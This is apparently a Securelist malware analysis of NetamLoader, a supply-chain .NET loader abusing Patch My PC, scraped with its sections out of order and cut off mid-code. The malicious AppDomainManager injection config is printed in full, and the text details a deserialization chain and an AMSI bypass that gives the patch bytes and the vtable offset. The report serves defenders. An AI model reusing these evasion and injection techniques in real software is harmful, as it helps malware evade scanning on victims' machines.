srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08.png 952w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-300x31.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-768x78.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-740x75.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08-800x82.png 800w" title="NetamLoader-08" width="952" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121682-2">Base64-encoded serialized binary object in Resources.resx</p></div> <p>Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a <a href="https://hackmd.io/@gjN6_p5wRkqTgU8p5SWx7Q/BJKJjMYn5" target="_blank">TypeConfuseDelegate attack</a>. The TypeConfuseDelegate then invokes <code>XamlReader.Parse()</code>, which loads a <a href="https://learn.microsoft.com/en-us/dotnet/desktop/wpf/xaml/" target="_blank">XAML</a> payload (named XAML-1) embedded within the binary object.</p> <p>XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider" target="_blank">ObjectDataProvider</a> and <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.resourcedictionary?view=windowsdesktop-10.0" target="_blank">ResourceDictionary</a>, logic equivalent to C# code can be expressed in an XML‑like syntax.<br/> <div class="wp-caption aligncenter" id="attachment_121680-2" style="width: 1042px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06.png"><img alt="A code snippet of XAML-1" aria-describedby="caption-attachment-121680-2" class="size-full wp-image-121680" decoding="async" height="847" sizes="auto, (max-width: 1032px) 100vw, 1032px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06.png 1032w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-300x246.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-1024x840.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-768x630.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-426x350.png 426w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-740x607.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-341x280.png 341w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211618/NetamLoader-06-800x657.png 800w" title="NetamLoader-06" width="1032" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121680-2">A code snippet of XAML-1</p></div></p> <h3 id="step-3">Step 3</h3> <p>The XAML-1 code acts as a loader for an embedded payload. The process is as follows:</p> <ol> <li>Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.</li> <li>Generate the AES key by hashing the command‑line string with SHA‑256.</li> <li>Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.</li> <li>Load XAML-2 into memory using the .NET API <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlreader.load?view=windowsdesktop-10.0" target="_blank">System.Windows.Markup.XamlReader.Load()</a>.</li> <li>If any exception occurs during decryption, trigger <code>Environment.Exit(0)</code>, silently terminating the host process to prevent error messages that might reveal the attack.</li> </ol> <h2 id="stage-2">Stage 2</h2> <p>XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.<br/> <div class="wp-caption aligncenter" id="attachment_121686-2" style="width: 2236px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03.png"><img alt="Infection chain: Stage 2" aria-describedby="caption-attachment-121686-2" class="size-full wp-image-121686" decoding="async" height="1520" sizes="auto, (max-width: 2226px) 100vw, 2226px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03.png 2226w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-300x205.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-1024x699.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-768x524.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-1536x1049.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-2048x1398.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-513x350.png 513w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-740x505.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-410x280.png 410w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211657/NetamLoader-03-800x546.png 800w" title="NetamLoader-03" width="2226" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121686-2">Infection chain: Stage 2</p></div></p> <p>XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with <code>XamlReader.Load()</code>.<br/> <div class="wp-caption aligncenter" id="attachment_121685-2" style="width: 1087px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02.png"><img alt="A code snippet of XAML-2" aria-describedby="caption-attachment-121685-2" class="size-full wp-image-121685" decoding="async" height="461" sizes="auto, (max-width: 1077px) 100vw, 1077px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02.png 1077w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-300x128.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-1024x438.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-768x329.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-818x350.png 818w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-740x317.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-654x280.png 654w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211645/NetamLoader-02-800x342.png 800w" title="NetamLoader-02" width="1077" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121685-2">A code snippet of XAML-2</p></div></p> <h3 id="xaml-2-1">XAML-2-1</h3> <p>The first file consists of 796 lines. Its sole purpose is to hijack a key <a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-reference" target="_blank">AMSI</a> API to bypass anti‑malware scanning.</p> <div class="wp-caption aligncenter" id="attachment_121679-2" style="width: 908px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05.png"><img alt="Sensitive strings in XAML-2-1 are cut into tiny pieces" aria-describedby="caption-attachment-121679-2" class="size-full wp-image-121679" decoding="async" height="536" sizes="auto, (max-width: 898px) 100vw, 898px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05.png 898w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-300x179.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-768x458.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-586x350.png 586w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-740x442.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-469x280.png 469w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211610/NetamLoader-05-800x478.png 800w" title="NetamLoader-05" width="898" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121679-2">Sensitive strings in XAML-2-1 are cut into tiny pieces</p></div> <p>To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.</p> <p>The key steps it takes to achieve its goal are as follows:</p> <ol> <li>Check the OS architecture by verifying whether <code>IntPtr.Size</code> equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.</li> <li>Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.</li> <li>Patch the AMSI module. <ul> <li>Create a delegate for the runtime method <code>Console.Clear()</code> and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).</li> <li>Obtain the native pointer of the AMSI COM object with <code>Marshal.GetIUnknownForObject()</code>. From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the <code>CAmsiAntimalware::Scan</code> method.</li> <li>Use <code>VirtualProtect()</code> to make the <code>Scan()</code> pointer writable, change its value from the address of the <code>CAmsiAntimalware::Scan()</code> method to the address of the patched <code>Console.Clear()</code>, and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns <code>AMSI_RESULT_CLEAN (value = 0)</code>.</li> </ul> </li> </ol> <p>One patch targets the <code>Console.Clear()</code> API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.</p> <h3 id="xaml-2-2">XAML-2-2</h3> <p>XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the <code>Assembly.CreateInstance()</code> API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the <code>m.C()</code> method of .NET 1 Loader as a parameter.</p> <h3 id="net-1-loader">.NET 1 Loader</h3> <p>.NET 1 Loader decodes, decompres</p></div></div></div></div></div></div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/great/"> <span>GReAT</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.</p> <p>The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.</p> <p>Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.</p> <h2 id="background">Background</h2> <p>During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed <a href="https://3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence" target="_blank">AppDomainManager injection</a> to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92b4373484451" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92b4373484451-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92b4373484451-1"><span class="crayon-v">C</span><span class="crayon-o">:</span><span class="crayon-sy">\</span><span class="crayon-v">Windows</span><span class="crayon-sy">\</span><span class="crayon-v">SoftwareDistribution</span><span class="crayon-sy">\</span><span class="crayon-v">Download</span><span class="crayon-sy">\</span><span class="crayon-v">e4537a1762fcafd2fd96bfc825bad34f9db9a24d</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.</p> <h2 id="initial-infection">Initial infection</h2> <p>The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:</p> <p><div class="wp-caption aligncenter" id="attachment_121684-2" style="width: 800px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01.png"><img alt="Files compressed in the CAB file" aria-describedby="caption-attachment-121684-2" class="size-full wp-image-121684" decoding="async" height="217" sizes="auto, (max-width: 790px) 100vw, 790px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01.png 790w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01-300x82.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01-768x211.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01-740x203.png 740w" title="NetamLoader-01" width="790" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121684-2">Files compressed in the CAB file</p></div><br/> Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92c4049917986" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c4049917986-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c4049917986-1"><span class="crayon-v">C</span><span class="crayon-o">:</span><span class="crayon-sy">\</span><span class="crayon-v">Windows</span><span class="crayon-sy">\</span><span class="crayon-v">SoftwareDistribution</span><span class="crayon-sy">\</span><span class="crayon-v">Download</span><span class="crayon-sy">\</span><span class="crayon-v">Install</span><span class="crayon-sy">\</span><span class="crayon-v">PatchMyPC</span><span class="crayon-o">-</span><span class="crayon-v">ScriptRunner</span><span class="crayon-sy">.</span><span class="crayon-v">exe</span><span class="crayon-h"> </span><span class="crayon-o">-</span><span class="crayon-v">updatepackage</span><span class="crayon-h"> </span><span class="crayon-o">-</span><span class="crayon-v">applicationid</span><span class="crayon-o">=</span><span class="crayon-v">xxxxxxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxxxxxxxxxx</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>After the file is launched in this manner, the infection chain progresses to stage 1.</p> <h2 id="stage-1">Stage 1</h2> <p>Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.</p> <div class="wp-caption aligncenter" id="attachment_121683-2" style="width: 1823px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09.png"><img alt="Infection chain: Stage 1" aria-describedby="caption-attachment-121683-2" class="size-full wp-image-121683" decoding="async" height="1413" sizes="auto, (max-width: 1813px) 100vw, 1813px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09.png 1813w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-300x234.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-1024x798.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-768x599.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-1536x1197.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-449x350.png 449w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-740x577.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-359x280.png 359w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-800x623.png 800w" title="NetamLoader-09" width="1813" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121683-2">Infection chain: Stage 1</p></div> <h3 id="step-1">Step 1</h3> <p>The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> &lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;configuration&gt; &lt;runtime&gt; &lt;appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"&gt; &lt;/appDomainManagerType&gt; &lt;appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"&gt; &lt;/appDomainManagerAssembly&gt; &lt;NGenAssemblyUsageLog enabled="0" /&gt; &lt;/runtime&gt; &lt;startup&gt; &lt;supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" /&gt; &lt;/startup&gt; &lt;/configuration&gt;</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-6">6</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-7">7</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-8">8</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-9">9</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-10">10</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-11">11</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-12">12</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-13">13</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-14">14</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-1"><span class="crayon-ta">&lt;?</span><span class="crayon-e">xml </span><span class="crayon-i">version</span><span class="crayon-o">=</span><span class="crayon-s">"1.0"</span><span class="crayon-h"> </span><span class="crayon-i">encoding</span><span class="crayon-o">=</span><span class="crayon-s">"utf-8"</span><span class="crayon-h"> </span><span class="crayon-ta">?&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-2"><span class="crayon-o">&lt;</span><span class="crayon-v">configuration</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-3"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-v">runtime</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-4"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-e">appDomainManagerType  </span><span class="crayon-v">value</span><span class="crayon-o">=</span><span class="crayon-s">"Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-5"><span class="crayon-h">       </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">appDomainManagerType</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-6"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-e">appDomainManagerAssembly  </span><span class="crayon-v">value</span><span class="crayon-o">=</span><span class="crayon-s">"Microsoft.HostIntegration.Connectors, Version=1.0.0.0, </span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-7"><span class="crayon-s">                    Culture=neutral, PublicKeyToken=31bf3856ad364e35"</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-8"><span class="crayon-h">       </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">appDomainManagerAssembly</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-9"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-e">NGenAssemblyUsageLog </span><span class="crayon-v">enabled</span><span class="crayon-o">=</span><span class="crayon-s">"0"</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-10"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">runtime</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-11"><span class="crayon-h">    </span><span class="crayon-o">&lt;</span><span class="crayon-v">startup</span><span 